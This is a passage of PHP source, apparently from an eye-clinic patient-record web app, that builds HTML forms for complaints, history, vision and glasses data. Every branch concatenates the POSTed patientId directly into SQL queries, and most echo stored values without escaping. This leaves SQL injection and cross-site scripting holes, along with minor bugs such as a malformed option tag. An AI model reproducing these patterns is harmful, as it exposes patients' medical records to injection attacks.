                                        &lt;a class=&quot;btn btn-info no-print&quot; onclick='openTreatmentModel(&lt;?php echo $nextCaseData[&quot;patientId&quot;]; ?&gt;, &quot;&lt;?php echo $nextCaseData[&quot;appointmentDate&quot;]; ?&gt;&quot;)'&gt;Next&lt;/a&gt;
                                    &lt;/form&gt;
                                &lt;?php endif; ?&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
                &lt;?php
            } else {
                echo &quot;No case details found for the patient.&quot;;
            }
        } else {
            echo &quot;Patient code not found.&quot;;
        }
    }
}


    if ($status == 'get-co') {

        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];

            $caseQuery = &quot;SELECT * FROM patient_co_data WHERE patientId = '$patientId'&quot;;
            $caseResult = mysqli_query($con, $caseQuery);

            if ($caseResult &amp;&amp; mysqli_num_rows($caseResult) &gt; 0) {
                $srNo = 1;
                while ($caseRow = mysqli_fetch_assoc($caseResult)) {
                    echo '&lt;tr class=&quot;coFetch&quot;&gt;
                             &lt;td&gt;
                                &lt;select class=&quot; form-control co_ccId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;co_ccId&quot; name=&quot;co_ccId[]&quot;&gt;';
                    if (isset($_POST['patientId'])) {
                        echo '&lt;option value=&quot;' . $caseRow[&quot;co_ccId&quot;] . '&quot;&gt;' . $caseRow[&quot;co_ccId&quot;] . '&lt;/option&gt;';
                    } else {
                        $querySel = mysqli_query($con, &quot;SELECT * FROM `tbl_chief_complaint` WHERE `ccId` = '&quot; . $caseRow['ccId'] . &quot;'&quot;);
                        $rowSel = mysqli_fetch_array($querySel);
                        echo '&lt;option value=&quot;' . $rowSel[&quot;complaint&quot;] . '&quot;&gt;' . $rowSel[&quot;complaint&quot;] . '&lt;/option&gt;';
                    }
                    $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_chief_complaint` WHERE `ccId` != '&quot; . $caseRow['ccId'] . &quot;' AND `deleteStatus` = '0'&quot;);
                    while ($row1 = mysqli_fetch_array($query1)) {
                        echo '&lt;option value=&quot;' . $row1[&quot;complaint&quot;] . '&quot;&gt;' . $row1[&quot;complaint&quot;] . '&lt;/option&gt;';
                    }
                    echo '&lt;/select&gt;
                             &lt;/td&gt;
                             &lt;td&gt;
                                &lt;select class=&quot; form-control co_since&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;co_since&quot; name=&quot;co_since[]&quot;&gt;';
                                if (isset($_POST['patientId'])) {
                        echo '&lt;option value=&quot;' . $caseRow[&quot;co_since&quot;] . '&quot;&gt;' . $caseRow[&quot;co_since&quot;] . '&lt;/option&gt;';
                    }
                     for ($i = 1; $i &lt;= 10; $i++) {
                        echo '&lt;option value=&quot;' . $i . '&quot;&gt;' . $i . '&lt;/option&gt;';
                        }
                    echo '&lt;/select&gt;
                             &lt;/td&gt;
                             &lt;td&gt;
                                &lt;select class=&quot; form-control co_durationId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;co_durationId&quot; name=&quot;co_durationId[]&quot;&gt;';
                    if (isset($_POST['patientId'])) {
                         echo '&lt;option value=&quot;' . $caseRow[&quot;co_durationId&quot;] . '&quot;&gt;' . $caseRow[&quot;co_durationId&quot;] . '&lt;/option&gt;';
                    } else {
                        $querySel = mysqli_query($con, &quot;SELECT * FROM `tbl_duration` WHERE `durationId` = '&quot; . $caseRow['durationId'] . &quot;'&quot;);
                        $rowSel = mysqli_fetch_array($querySel);
                        echo '&lt;option value=&quot;' . $rowSel[&quot;name&quot;] . '&quot;&gt;' . $rowSel[&quot;name&quot;] . '&lt;/option&gt;';
                    }
                    $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_duration` WHERE `durationId` != '&quot; . $caseRow['durationId'] . &quot;' AND `deleteStatus` = '0'&quot;);
                    while ($row1 = mysqli_fetch_array($query1)) {
                        echo '&lt;option value=&quot;' . $row1[&quot;name&quot;] . '&quot;&gt;' . $row1[&quot;name&quot;] . '&lt;/option&gt;';
                    }
                    echo '&lt;/select&gt;
                             &lt;/td&gt;
                             &lt;td&gt;
                                &lt;select class=&quot; form-control co_eye&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;co_eye&quot; name=&quot;co_eye[]&quot;&gt;';
                                if (isset($_POST['patientId'])) {
                                    echo '&lt;option value=&quot;' . $caseRow[&quot;co_eye&quot;] . '&quot;&gt;' . $caseRow[&quot;co_eye&quot;] . '&lt;/option&gt;';
                                } 
                                echo'
                                   &lt;option value=&quot;Right&quot;&gt;Right&lt;/option&gt;
                                   &lt;option value=&quot;Left&quot;&gt;Left&lt;/option&gt;
                                   &lt;option value=&quot;Both&quot;&gt;Both&lt;/option&gt;
                                &lt;/select&gt;
                             &lt;/td&gt;
                             &lt;td&gt;';
                             if (isset($_POST['patientId'])) {
                                 echo '&lt;input type=&quot;text&quot; value=&quot;' . $caseRow[&quot;co_comment&quot;] . '&quot; class=&quot;co_comment form-control&quot; placeholder=&quot;comment&quot; id=&quot;co_comment&quot; name=&quot;co_comment[]&quot;&gt;';
                            }else{
                                echo '&lt;input type=&quot;text&quot; class=&quot;co_comment form-control&quot; placeholder=&quot;comment&quot; id=&quot;co_comment&quot; name=&quot;co_comment[]&quot;&gt;';
                            }
                             echo'
                             &lt;/td&gt;
                             &lt;td&gt;
                                &lt;button type=&quot;button&quot; class=&quot;btn btn-success&quot; onclick=&quot;CO_addrowData()&quot;&gt;&lt;i class=&quot;fa fa-plus&quot;&gt;&lt;/i&gt;&lt;/button&gt;
                             &lt;/td&gt;
                          &lt;/tr&gt;';
                }
            } else {
                echo '&lt;tr&gt;
                         &lt;td&gt;
                            &lt;select class=&quot; form-control co_ccId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;co_ccId&quot; name=&quot;co_ccId[]&quot;&gt;';

                                $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_chief_complaint` WHERE `ccId` != '&quot; . $caseRow['ccId'] . &quot;' AND `deleteStatus` = '0'&quot;);
                                while ($row1 = mysqli_fetch_array($query1)) {
                                    echo '&lt;option value=&quot;' . $row1[&quot;complaint&quot;] . '&quot;&gt;' . $row1[&quot;complaint&quot;] . '&lt;/option&gt;';
                                }

                        echo '&lt;/select&gt;
                         &lt;/td&gt;
                         &lt;td&gt;
                            &lt;select class=&quot; form-control co_since&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;co_since&quot; name=&quot;co_since[]&quot;&gt;';
                               for ($i = 1; $i &lt;= 10; $i++) {
                        echo '&lt;option value=&quot;' . $i . '&quot;&gt;' . $i . '&lt;/option&gt;';
                        }
                         echo '  &lt;/select&gt;
                         &lt;/td&gt;
                         &lt;td&gt;
                            &lt;select class=&quot; form-control co_durationId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;co_durationId&quot; name=&quot;co_durationId[]&quot;&gt;';
                                $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_duration` WHERE `durationId` != '&quot; . $caseRow['durationId'] . &quot;' AND `deleteStatus` = '0'&quot;);
                                while ($row1 = mysqli_fetch_array($query1)) {
                                    echo '&lt;option value=&quot;' . $row1[&quot;name&quot;] . '&quot;&gt;' . $row1[&quot;name&quot;] . '&lt;/option&gt;';
                                }
                        echo '&lt;/select&gt;
                         &lt;/td&gt;
                         &lt;td&gt;
                            &lt;select class=&quot; form-control co_eye&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;co_eye&quot; name=&quot;co_eye[]&quot;&gt;
                                    option value=&quot;Right&quot;&gt;Right&lt;/option&gt;
                                   &lt;option value=&quot;Left&quot;&gt;Left&lt;/option&gt;
                                   &lt;option value=&quot;Both&quot;&gt;Both&lt;/option&gt;
                         &lt;/select&gt;
                         &lt;/td&gt;
                         &lt;td&gt;
                            &lt;input type=&quot;text&quot; class=&quot;co_comment form-control&quot; placeholder=&quot;comment&quot; id=&quot;co_comment&quot; name=&quot;co_comment[]&quot; class=&quot;form-control&quot;&gt;
                         &lt;/td&gt;
                         &lt;td&gt;
                            &lt;button type=&quot;button&quot; class=&quot;btn btn-success&quot;
                               onclick=&quot;CO_addrowData()&quot;&gt;&lt;i
                               class=&quot;fa fa-plus&quot;&gt;&lt;/i&gt;&lt;/button&gt;
                         &lt;/td&gt;
                      &lt;/tr&gt;';
            }
        }
    }

    if ($status == 'get-ho') {
        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];

            $caseQuery = &quot;SELECT * FROM patient_ho_kco_data WHERE patientId = '$patientId'&quot;;
            $caseResult = mysqli_query($con, $caseQuery);
            ?&gt;

            &lt;div class=&quot;col-md-12&quot;&gt;
                &lt;div class=&quot;row&quot;&gt;
                    &lt;div class=&quot;col-12&quot;&gt;
                        &lt;div class=&quot;form-group col-md-12&quot;&gt;
                            &lt;label&gt;H/O&lt;/label&gt;
                            &lt;?php
                            $row = mysqli_fetch_assoc($caseResult);
                            ?&gt;
                            &lt;input type=&quot;text&quot; id=&quot;hop_ho&quot; name=&quot;hop_ho&quot;
                                   placeholder=&quot;Enter history of&quot; value=&quot;&lt;?= $row['hop_ho']?&gt;&quot; class=&quot;form-control autonumber hop_ho&quot;&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
                &lt;div class=&quot;table-responsive mt-2&quot;&gt;
                    &lt;table class=&quot;table&quot;&gt;
                        &lt;thead&gt;
                        &lt;tr&gt;
                            &lt;th style=&quot;width: 20%;&quot;&gt;K/C/O&lt;/th&gt;
                            &lt;th style=&quot;width: 20%;&quot;&gt;Since&lt;/th&gt;
                            &lt;th style=&quot;width: 20%;&quot;&gt;Duration&lt;/th&gt;
                            &lt;th style=&quot;width: 20%;&quot;&gt;Comment&lt;/th&gt;
                            &lt;th style=&quot;width: 20%;&quot;&gt;Action&lt;/th&gt;
                        &lt;/tr&gt;
                        &lt;/thead&gt;
                        &lt;tbody id=&quot;table-body1&quot;&gt;
                        &lt;?php
                        mysqli_data_seek($caseResult, 0);

                        if ($caseResult &amp;&amp; mysqli_num_rows($caseResult) &gt; 0) {
                            while ($caseRow = mysqli_fetch_assoc($caseResult)) {
                                ?&gt;
                                &lt;tr&gt;
                                    &lt;td&gt;
                                        &lt;select class=&quot;form-control hop_kco&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;hop_kco&quot; name=&quot;hop_kco[]&quot;&gt;
                                            &lt;option value=&quot;&lt;?= $caseRow[&quot;hop_kco&quot;] ?&gt;&quot;&gt;&lt;?= $caseRow[&quot;hop_kco&quot;] ?&gt;&lt;/option&gt;
                                            &lt;?php
                                            $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_kco` WHERE `kcoId` != '&quot; . $caseRow['hop_kco'] . &quot;' AND `deleteStatus` = '0'&quot;);
                                            while ($row1 = mysqli_fetch_array($query1)) {
                                                echo '&lt;option value=&quot;' . $row1[&quot;name&quot;] . '&quot;&gt;' . $row1[&quot;name&quot;] . '&lt;/option&gt;';
                                            }
                                            ?&gt;
                                        &lt;/select&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;select class=&quot;form-control hop_since&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;hop_since&quot; name=&quot;hop_since[]&quot;&gt;
                                            &lt;option value=&quot;&lt;?= $caseRow[&quot;hop_since&quot;] ?&gt;&quot;&gt;&lt;?= $caseRow[&quot;hop_since&quot;] ?&gt;&lt;/option&gt;
                                            &lt;?php
                                            for ($i = 1; $i &lt;= 10; $i++) {
                                                echo '&lt;option value=&quot;' . $i . '&quot;&gt;' . $i . '&lt;/option&gt;';
                                            }
                                            ?&gt;
                                        &lt;/select&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;select class=&quot;form-control hop_durationId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;hop_durationId&quot; name=&quot;hop_durationId[]&quot;&gt;
                                            &lt;option value=&quot;&lt;?= $caseRow[&quot;hop_durationId&quot;] ?&gt;&quot;&gt;&lt;?= $caseRow[&quot;hop_durationId&quot;] ?&gt;&lt;/option&gt;
                                            &lt;?php
                                            $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_duration` WHERE `durationId` != '&quot; . $caseRow['hop_durationId'] . &quot;' AND `deleteStatus` = '0'&quot;);
                                            while ($row1 = mysqli_fetch_array($query1)) {
                                                echo '&lt;option value=&quot;' . $row1[&quot;name&quot;] . '&quot;&gt;' . $row1[&quot;name&quot;] . '&lt;/option&gt;';
                                            }
                                            ?&gt;
                                        &lt;/select&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;input type=&quot;text&quot; placeholder=&quot;Enter Here&quot; id=&quot;hop_comment&quot; name=&quot;hop_comment[]&quot; data-type=&quot;comment&quot; class=&quot;form-control hop_comment&quot;
                                               value=&quot;&lt;?= $caseRow[&quot;hop_comment&quot;] ?&gt;&quot;&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;button type=&quot;button&quot; class=&quot;btn btn-success&quot; onclick=&quot;historyOfpatientaddRow()&quot;&gt;
                                            &lt;i class=&quot;fa fa-plus&quot;&gt;&lt;/i&gt;
                                        &lt;/button&gt;
                                    &lt;/td&gt;
                                &lt;/tr&gt;
                                &lt;?php
                            }
                        } else {
                            ?&gt;
                            &lt;tr&gt;
                                    &lt;td&gt;
                                        &lt;select class=&quot;form-control hop_kco&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;hop_kco&quot; name=&quot;hop_kco[]&quot;&gt;
                                            &lt;?php
                                            $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_kco` WHERE `kcoId` != '&quot; . $caseRow['hop_kco'] . &quot;' AND `deleteStatus` = '0'&quot;);
                                            while ($row1 = mysqli_fetch_array($query1)) {
                                                echo '&lt;option value=&quot;' . $row1[&quot;name&quot;] . '&quot;&gt;' . $row1[&quot;name&quot;] . '&lt;/option&gt;';
                                            }
                                            ?&gt;
                                        &lt;/select&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;select class=&quot;form-control hop_since&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;hop_since&quot; name=&quot;hop_since[]&quot;&gt;
                                            &lt;?php
                                            for ($i = 1; $i &lt;= 10; $i++) {
                                                echo '&lt;option value=&quot;' . $i . '&quot;&gt;' . $i . '&lt;/option&gt;';
                                            }
                                            ?&gt;
                                        &lt;/select&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;select class=&quot;form-control hop_durationId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;hop_durationId&quot; name=&quot;hop_durationId[]&quot;&gt;
                                            &lt;?php
                                            $query1 = mysqli_query($con, &quot;SELECT * FROM `tbl_duration` WHERE `durationId` != '&quot; . $caseRow['hop_durationId'] . &quot;' AND `deleteStatus` = '0'&quot;);
                                            while ($row1 = mysqli_fetch_array($query1)) {
                                                echo '&lt;option value=&quot;' . $row1[&quot;name&quot;] . '&quot;&gt;' . $row1[&quot;name&quot;] . '&lt;/option&gt;';
                                            }
                                            ?&gt;
                                        &lt;/select&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;input type=&quot;text&quot; placeholder=&quot;Enter Here&quot; id=&quot;hop_comment&quot; name=&quot;hop_comment[]&quot; data-type=&quot;comment&quot; class=&quot;form-control hop_comment&quot;
                                               value=&quot;&lt;?= $caseRow[&quot;hop_comment&quot;] ?&gt;&quot;&gt;
                                    &lt;/td&gt;
                                    &lt;td&gt;
                                        &lt;button type=&quot;button&quot; class=&quot;btn btn-success&quot; onclick=&quot;historyOfpatientaddRow()&quot;&gt;
                                            &lt;i class=&quot;fa fa-plus&quot;&gt;&lt;/i&gt;
                                        &lt;/button&gt;
                                    &lt;/td&gt;
                                &lt;/tr&gt;
                       &lt;?php 
                        }
                        ?&gt;
                        &lt;/tbody&gt;
                    &lt;/table&gt;
                &lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group col-12 col-sm-12 col-md-12 col-lg-12 mb-5&quot;&gt;
                &lt;button class=&quot;btn btn-dark float-right submitBtn&quot; data-target=&quot;ho_kco_show&quot; onclick=&quot;submitHistoryForm(event)&quot;&gt;Submit&lt;/button&gt;
            &lt;/div&gt;

            &lt;?php
        }
    }

    if ($status == 'get-vision') {
        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];

            $visionQuery = &quot;SELECT * FROM patient_vision_data WHERE patientId = '$patientId'&quot;;
            $visionResult = mysqli_query($con, $visionQuery);
            $row = mysqli_fetch_assoc($visionResult);
            ?&gt;

            &lt;div class=&quot;row&quot;&gt;
                &lt;div class=&quot;col-12 d-flex&quot;&gt;
                    &lt;div class=&quot;col-3 d-flex align-items-center&quot;&gt;
                        &lt;h5&gt;Right Eye:&lt;/h5&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-3&quot;&gt;
                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;label for=&quot;dropdown1&quot;&gt;Vn&lt;/label&gt;
                            &lt;select class=&quot; form-control r_vnId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_vnId&quot; name=&quot;r_vnId&quot;&gt;
                                &lt;option value=&quot;&lt;?= $row['r_vnId'] ?&gt;&quot;&gt;&lt;?= $row['r_vnId'] ?&gt;&lt;/option&gt;
                                &lt;?php
                                $query1 = mysqli_query($con, &quot;SELECT * FROM tbl_master_vn WHERE vnId != '&quot; . $row['r_vnId'] . &quot;' AND deleteStatus = '0'&quot;);
                                while ($row1 = mysqli_fetch_array($query1)) {
                                    echo '&lt;option value=&quot;' . $row1['name'] . '&quot;&gt;' . $row1['name'] . '&lt;/option&gt;';
                                }
                                ?&gt;
                            &lt;/select&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-3&quot;&gt;
                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;label for=&quot;dropdown2&quot;&gt;Pn Vn&lt;/label&gt;
                            &lt;select class=&quot; form-control r_pnvnId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_pnvnId&quot; name=&quot;r_pnvnId&quot;&gt;
                            
                                &lt;option value=&quot;&lt;?= $row['r_pnvnId'] ?&gt;&quot;&gt;&lt;?= $row['r_pnvnId'] ?&gt;&lt;/option&gt;
                                &lt;?php
                                $query1 = mysqli_query($con, &quot;SELECT * FROM tbl_master_pnvn WHERE pnvnId != '&quot; . $row['r_pnvnId'] . &quot;' AND deleteStatus = '0'&quot;);
                                while ($row1 = mysqli_fetch_array($query1)) {
                                    echo '&lt;option value=&quot;' . $row1['name'] . '&quot;&gt;' . $row1['name'] . '&lt;/option&gt;';
                                }
                                ?&gt;
                            &lt;/select&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-3&quot;&gt;
                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;label for=&quot;dropdown3&quot;&gt;Nr Vn&lt;/label&gt;
                            &lt;select class=&quot; form-control r_nrvnId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;r_nrvnId&quot; name=&quot;r_nrvnId&quot;&gt;

                                &lt;option value=&quot;&lt;?= $row['r_nrvnId'] ?&gt;&quot;&gt;&lt;?= $row['r_nrvnId'] ?&gt;&lt;/option&gt;
                                &lt;?php
                                $query1 = mysqli_query($con, &quot;SELECT * FROM tbl_master_nrvn WHERE nrvnId != '&quot; . $row['r_nrvnId'] . &quot;' AND deleteStatus = '0'&quot;);
                                while ($row1 = mysqli_fetch_array($query1)) {
                                    echo '&lt;option value=&quot;' . $row1['name'] . '&quot;&gt;' . $row1['name'] . '&lt;/option&gt;';
                                }
                                ?&gt;
                            &lt;/select&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;

                &lt;div class=&quot;col-12 d-flex&quot;&gt;
                    &lt;div class=&quot;col-3 d-flex align-items-center&quot;&gt;
                        &lt;h5&gt;Left Eye:&lt;/h5&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-3&quot;&gt;
                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;select class=&quot; form-control l_vnId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_vnId&quot; name=&quot;l_vnId&quot;&gt;
                               
                                &lt;option value=&quot;&lt;?= $row['l_vnId'] ?&gt;&quot;&gt;&lt;?= $row['l_vnId'] ?&gt;&lt;/option&gt;
                                &lt;?php
                                $query1 = mysqli_query($con, &quot;SELECT * FROM tbl_master_vn WHERE vnId != '&quot; . $row['l_vnId'] . &quot;' AND deleteStatus = '0'&quot;);
                                while ($row1 = mysqli_fetch_array($query1)) {
                                    echo '&lt;option value=&quot;' . $row1['name'] . '&quot;&gt;' . $row1['name'] . '&lt;/option&gt;';
                                }
                                ?&gt;
                            &lt;/select&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-3&quot;&gt;
                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;select class=&quot; form-control l_pnvnId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_pnvnId&quot; name=&quot;l_pnvnId&quot;&gt;

                                &lt;option value=&quot;&lt;?= $row['l_pnvnId'] ?&gt;&quot;&gt;&lt;?= $row['l_pnvnId'] ?&gt;&lt;/option&gt;
                                &lt;?php
                                $query1 = mysqli_query($con, &quot;SELECT * FROM tbl_master_pnvn WHERE pnvnId != '&quot; . $row['l_pnvnId'] . &quot;' AND deleteStatus = '0'&quot;);
                                while ($row1 = mysqli_fetch_array($query1)) {
                                    echo '&lt;option value=&quot;' . $row1['name'] . '&quot;&gt;' . $row1['name'] . '&lt;/option&gt;';
                                }
                                ?&gt;
                            &lt;/select&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-3&quot;&gt;
                        &lt;div class=&quot;form-group&quot;&gt;
                            &lt;select class=&quot; form-control l_nrvnId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;l_nrvnId&quot; name=&quot;l_nrvnId&quot;&gt;

                                &lt;option value=&quot;&lt;?= $row['l_nrvnId'] ?&gt;&quot;&gt;&lt;?= $row['l_nrvnId'] ?&gt;&lt;/option&gt;
                                &lt;?php
                                $query1 = mysqli_query($con, &quot;SELECT * FROM tbl_master_nrvn WHERE nrvnId != '&quot; . $row['l_nrvnId'] . &quot;' AND deleteStatus = '0'&quot;);
                                while ($row1 = mysqli_fetch_array($query1)) {
                                    echo '&lt;option value=&quot;' . $row1['name'] . '&quot;&gt;' . $row1['name'] . '&lt;/option&gt;';
                                }
                                ?&gt;
                            &lt;/select&gt;
                        &lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;

            &lt;div class=&quot;form-group col-12 mb-5&quot;&gt;
                &lt;button class=&quot;btn btn-dark float-right submitBtn&quot; data-target=&quot;vision_show&quot; onclick=&quot;submitVisionForm(event)&quot;&gt;Submit&lt;/button&gt;
            &lt;/div&gt;

            &lt;?php
        }
    }

    if ($status == 'get-pg') {
        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];

            $PGQuery = &quot;SELECT * FROM patient_pg_data WHERE patientId = '$patientId'&quot;;
            $PGResult = mysqli_query($con, $PGQuery);
            $row = mysqli_fetch_assoc($PGResult);
            ?&gt;

            &lt;div class=&quot;row&quot;&gt;
                &lt;!-- Right Eye Section --&gt;
                &lt;div class=&quot;col-12&quot;&gt;
                    &lt;div class=&quot;card-header&quot;&gt;
                        &lt;h4&gt;RIGHT EYE&lt;/h4&gt;
                    &lt;/div&gt;
                    &lt;div class=&quot;col-md-12&quot; style=&quot;padding-right: 0px !important; padding-left: 0px !important;&quot;&gt;
                        &lt;div class=&quot;table-responsive&quot;&gt;
                            &lt;table class=&quot;table&quot;&gt;
                                &lt;thead class=&quot;thead-light&quot;&gt;
                                    &lt;tr&gt;
                                        &lt;th class=&quot;text-center&quot;&gt;&lt;/th&gt;
                                        &lt;th class=&quot;text-center&quot;&gt;SPH&lt;/th&gt;
                                        &lt;th class=&quot;text-center&quot;&gt;CYL&lt;/th&gt;
                                        &lt;th class=&quot;text-center&quot;&gt;AXIS&lt;/th&gt;
                                        &lt;th class=&quot;text-center&quot;&gt;VN C GL&lt;/th&gt;
                                    &lt;/tr&gt;
                                &lt;/thead&gt;
                                &lt;tbody id=&quot;table-body&quot;&gt;
                                    &lt;tr&gt;
                                        &lt;td class=&quot;vertical-center&quot;&gt;
                                            &lt;h6&gt;DISTANCE&lt;/h6&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;dis_pg_sph&quot;&gt;+&lt;/button&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;dis_pg_sph&quot;&gt;-&lt;/button&gt;
                                                &lt;input type=&quot;text&quot; class=&quot;form-control dis_pg_sph&quot; readonly id=&quot;dis_pg_sph&quot; name=&quot;dis_pg_sph&quot; value=&quot;&lt;?= htmlspecialchars($row['dis_pg_sph']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;dis_pg_cyl&quot;&gt;+&lt;/button&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;dis_pg_cyl&quot;&gt;-&lt;/button&gt;
                                                &lt;input type=&quot;text&quot; class=&quot;form-control dis_pg_cyl&quot; readonly id=&quot;dis_pg_cyl&quot; name=&quot;dis_pg_cyl&quot; value=&quot;&lt;?= htmlspecialchars($row['dis_pg_cyl']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex justify-content-center align-items-center&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#axisModel&quot; data-input=&quot;dis_pg_axis&quot;&gt;+&lt;/button&gt;
                                                &lt;input type=&quot;text&quot; class=&quot;form-control dis_pg_axis&quot; readonly id=&quot;dis_pg_axis&quot; name=&quot;dis_pg_axis&quot; value=&quot;&lt;?= htmlspecialchars($row['dis_pg_axis']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;select class=&quot; form-control rd_vnglId&quot; aria-label=&quot;Default select example&quot; data-live-search=&quot;true&quot; id=&quot;rd_vnglId&quot; name=&quot;rd_vnglId&quot;&gt;
                                              
                                                &lt;option value=&quot;&lt;?= htmlspecialchars($row['rd_vnglId']) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($row['rd_vnglId']) ?&gt;&lt;/option&gt;
                                                &lt;?php
                                                $query1 = mysqli_query($con, &quot;SELECT * FROM tbl_master_vngl WHERE vnglId != '&quot;.$row['rd_vnglId'].&quot;' AND deleteStatus = '0'&quot;);
                                                while ($row1 = mysqli_fetch_array($query1)) {
                                                    echo '&lt;option value=&quot;' . htmlspecialchars($row1['name']) . '&quot;&gt;' . htmlspecialchars($row1['name']) . '&lt;/option&gt;';
                                                }
                                                ?&gt;
                                            &lt;/select&gt;
                                        &lt;/td&gt;
                                    &lt;/tr&gt;
                                    &lt;tr&gt;
                                        &lt;td class=&quot;vertical-center&quot;&gt;
                                            &lt;h6&gt;NEAR&lt;/h6&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;near_pg_sph&quot;&gt;+&lt;/button&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;near_pg_sph&quot;&gt;-&lt;/button&gt;
                                                &lt;input type=&quot;text&quot; class=&quot;form-control near_pg_sph&quot; readonly id=&quot;near_pg_sph&quot; name=&quot;near_pg_sph&quot; value=&quot;&lt;?= htmlspecialchars($row['near_pg_sph']) ?&gt;&quot;&gt;
                                            &lt;/div&gt;
                                        &lt;/td&gt;
                                        &lt;td&gt;
                                            &lt;div class=&quot;d-flex&quot;&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn mr-1&quot; data-toggle=&quot;modal&quot; data-target=&quot;#nearvalues&quot; data-input=&quot;near_pg_cyl&quot;&gt;+&lt;/button&gt;
                                                &lt;button type=&quot;button&quot; class=&quot;btn btn-primary plusBtn&quot; data-toggle=&quot;modal&quot; data-target=&quot;#miniusnearvalues&quot; data-input=&quot;near_pg_cyl&quot;&gt;-&lt;/button&gt;
